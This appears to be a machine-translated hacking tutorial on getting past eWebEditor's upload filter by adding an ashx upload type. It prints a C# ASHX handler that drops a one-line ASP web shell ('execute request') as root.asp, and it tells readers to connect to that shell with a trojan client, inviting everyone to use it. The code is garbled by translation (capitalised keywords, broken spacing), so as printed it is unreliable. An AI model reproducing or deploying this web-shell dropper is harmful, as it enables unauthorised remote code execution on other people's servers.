Use the webshell to write the ashx script to the script file.

You can see in this article: http://www.bkjia.com/Article/201102/83631.html

If the ewebeditor filters scripts such as asa, cer, cdx, php, and aspx, add an ashx upload type and upload an ashx script. The script content is as follows:
<% @ WebHandler Language = "C #" Class = "Handler" %>
Using System;
Using System. Web;
Using System. IO;
Public class Handler: IHttpHandler {

Public void ProcessRequest (HttpContext context ){
Context. Response. ContentType = "text/plain ";

StreamWriter file1 = File. CreateText (context. Server. MapPath ("root. asp "));
File1.Write ("<% response. clear: execute request (" root "): response. End %> ");
File1.Flush ();
File1.Close ();

}
Public bool IsReusable {
Get {
Return false;
}
}
}
After accessing the uploaded ashx file, a root. asp one-sentence Trojan is generated in the same directory, and then connected by a one-sentence Trojan client. In terms of usage, everyone is free to use!
Note: running the ashx file is based on ASP. NET !!